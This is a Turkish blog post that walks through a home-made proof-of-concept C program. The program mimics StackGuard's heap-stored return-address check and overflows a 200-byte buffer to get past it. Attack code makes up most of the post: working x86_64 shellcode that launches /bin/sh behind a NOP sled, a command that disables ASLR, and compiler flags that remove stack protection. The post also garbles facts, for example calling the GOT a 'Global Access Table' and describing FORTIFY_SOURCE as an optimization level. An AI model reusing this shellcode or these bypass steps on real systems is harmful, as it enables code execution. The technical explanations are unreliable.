« Back
in stackguard got altering frame pointer overwrite call stack read.

StackGuard benzeri korumaları aşmak - POC.

Konu hakkında yazacağım diyordum. Galiba şimdi olacak.
Geçen haftaların akşamlarından birinde POC bir exploit demosu ortaya çıkarttım. Çok mu güzel? Hayır harika değil. Ama niye ve nasıl yaptığımı açıklamaya çalışacağım. Kod aslında self-explaining bir yapıda ama olsun ben burada açıklama niyetindeyim.

StackGuard denilen bir koruma yöntemi var. Stack koruması, processleri bilirsiniz. İşte onun stack'inin korunması için geliştirilen yöntemlerden birisi var ki zaten bir grup adam tarafından nasıl aşılacağı gösterilmiş.

İşte bu güzelliğin daha farklı yorumlanmış örnek bir hayatı: Yorumlardan başlayalım.

// Disable ASLR:
//      echo 0 > /proc/sys/kernel/randomize_va_space
//
// and compile this via:
//         gcc -g -fpic -fno-stack-protector -DFORTIFY_SOURCE=0 -z execstack skyjack.c -o skyjack
// to use shell exploit.
//

Bence ASLR'yi kapatın. Hayır, ASLR'den de rahatlıkla kayarak ilerliyor ama olsun. ASLR nedir? ASLR hafızadaki adreslerin mix edilmesi olarak aklınızda kalabilir.

GOT denilen (Global Access Table) bir yapı var fonksiyon çağrılarının adreslerini tutuyor, rahat ulaşım için. Nitekim GOT da bizim için gerekli değil ama biz graceful exit'i örnekleyebilmek için böyle derleyelim diyoruz -fpic. Graceful exit ile ne kastettiğimi anlatacağım.

Stack koruması da yok. Kuşlar yok.*-fno-stack-protector

-DFORTIFY_SOURCE=0 Bu opsiyon ile de aslında bir özellik kazanmıyoruz kodda ama ne olur ne olmaz koyalım. Ne işe yarar? memory ve string sebepli overflow check eder. 0 compiler optimizasyon seviyesini gösterir, ki -O0 varsayılan seviyedir.

-z execstack aslında yine gerek duyulmayan bir opsiyon fakat ben shellcode çalıştırmak istiyorum sırf bu yüzden bunu ekledim. Siz de yapın siz de shell açın.


/**
 * Simulate the behavior of StackGuard (preamble)
 * 1- Get return address
 * 2- Allocate space on heap
 * 3- Put return address to a randomized address
 * (for this demonstration we put it in 0xD - can be randomized)
 */
printf("%p\n", __builtin_return_address(0));  
data = (unsigned long long*) malloc(sizeof(unsigned long long)*0xDEADBEEF);  
*(unsigned long long *)(&data+0xD) = __builtin_return_address(0);

Giriş

StackGuard return adresi random bir yere yazar heapte. Biz burada 0xD kadar uzağa yaz dedik başlangıç adresinden, ama siz randomize edip random değeri de random bir yerde tutabilirsiniz (матрёшка). __builtin_return_address(0) diye bir satır var gcc ile alakalı bu satır. ben gcc kullandığım için bu bana rahatlık sağladı return address'in alınmasını örneklerken. Argüman stackta kaç callee geriye gidileceğini söylüyor. Mesela biz bu çağrıyı(0 argümanlıyı) A fonksiyonuna yazarsak ve B'den A'yı çağırırsak. A'nın dönüş adresini. Eğer 1 argümanı kullanıp A fonksiyonuna yazarak aynı şekilde B'den çağırırsak B'nin dönüş adresini bize geri döndürür.


/**
 * Shellcode to execute after buffer overflow
 * This shellcode writes itself every execution to memory
 * In some ASLR protection data is written via cache invalidation
 * ref. https://github.com/sharedRoutine/ASLR-Write/blob/master/aslrwrite.h#L81
 */
char shellcode[] =  
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \

/**
 * Above NOP sled is 100 bytes
 */

"\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62" \
"\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31" \
"\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c" \
"\x58\x0f\x05" \

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \

/**
 * Above shell launcher part is 60 bytes and it is only for Linux x86_64
 */

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \

/**
 * Above NOP sled is 40 bytes
 */

/**
 * Buffer is full now smash the RBP
 */

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";

Gelişme

Benim buffer'ım 200 byte.
100 byte yukarıda sayıyorum ve başlıyorum. Shellcode linux x86_64 için çalışıyor ve shell açıyor onu da sayıyorum 48 + 12. 40 da ondan sonraki bölümüm. 200 tamamlandı. Şimdi geri kalanda base pointer eziyoruz, fonksiyon dönüş adresinin de yarısını eziyoruz(most sign.). Bu kısım da bitti.

char* dat = (char *) __builtin_return_address(0);  
printf("Overwriting return address %x\n", dat); // to end of shellcode  
// copy expected return address (low bytes) and evade from ASLR crashes temporarily
memcpy((void *)shellcode+216, &dat, 4);

/**
 * print the ending of shellcode to see it was compensated by the address
 */
printf("212 pchar %x\n", shellcode[212]);  
printf("213 pchar %x\n", shellcode[213]);  
printf("214 pchar %x\n", shellcode[214]);  
printf("215 pchar %x\n", shellcode[215]);  
printf("216 pchar %x\n", shellcode[216]);  
printf("217 pchar %x\n", shellcode[217]);  
printf("218 pchar %x\n", shellcode[218]);  
printf("219 pchar %x\n", shellcode[219]);

printf("Expected function return addr %p\n", __builtin_return_address(0));  
printf("Shellcode address on DS %p\n", &shellcode);  

return adresi aldık low bytelara yazdık. Niye? Çünkü hızlı işlem için low bytelar kontrol edilir + DS üzerinde işlemlerde genelde lower bytelar değişir. Kontrol için shellcode sonunu da yazdırıyoruz. Çalışırken shellcode bundan önce clocktan geçeceği için buraya çarpmayacak. Biraz kendini açıklayan kodlar var orada ayrıca. İlk satırdaki return address'i fonksiyon yordamıyla almamı garipsemeyin. Dönüş yerinden hesaplama yapabilirsiniz siz.


/**
 * Buffer, which is going to be overflow
 */
char buffer[200];  
strcpy(buffer, shellcode);  
printf("BUFFER %p\n", &buffer);

if (argv[1] != 0x0 && strcmp(argv[1], "Y") == 0)  
{
    (*(void (*)()) buffer)();
}

/**
 * Below code behaves like stack guard (postamble)
 * Checks return address with address saved in heap
 */
printf("%p\n", __builtin_return_address(0));  
printf("GELEN ADRES %p\n", *(&data+0xD));  
printf("ALINAN ADRES %p\n", __builtin_return_address(0));

if (*(&data+0xD) == __builtin_return_address(0)) {  
    _exit(0); // if everything is ok _exit, without atexit(without stack cleanup and alignment)
} else{
    abort(); // or abort immediately with unsuccessful termination.
}

Sonuç

Buffer var. Buffer burada kabul edelim. Shellcode kopyalanıyor ve çalıştırılıyor. StackGuard'ın çıkış durumu kontrolünün bir örneği de burada yapılıyor. Heap'teki adres ile fonksiyonun return address'i aynı ise cleanup'sız çık. Yoksa termination yap. Stack temizliğine kalkışan tüm fonksiyonlar çalışmayacak. Çünkü BP üzerine yazdık. Graceful exit ile kastettiğim bu. Bu görülen kod anormal ve bir return değeri olmayan kod değil, bu tip kodlarla çeşitli kütüphanelerde karşılaştım, bu tip açıklar oluşabiliyor.

GOT ile yapılan örneklere gelince GOT'a referans verip GOT'tan çağırma tekniği ile çok açıklar keşfedildi. Hatta sudo -fpic ile derlenmiş linux distrolarında bu açık kullanıldı. Hatta bazı distrolarda komple util-linux serisi bu şekilde derlenmişti. X fonksiyonu yerine Y fonksiyonu kolaylıkla çağırılabilir hale geliyor bu şekilde.

Diyeceklerim bu kadar şimdilik. Kodun saf hali burada

EPIC: http://www.coresecurity.com/files/attachments/StackGuard.pdf Burada 3.2. bölümde belirtilmiş olan saldırı tipi benim burada örneklediğim tipin bir açıklaması olmakta. Saldırıları yüzdeye vurursak %10 bu şekilde gerçekleşmekte. Geri kalanlar GOT altering yöntemini kullanmakta.

Hayat öyle işte.
Sevgiler.

comments powered by Disqus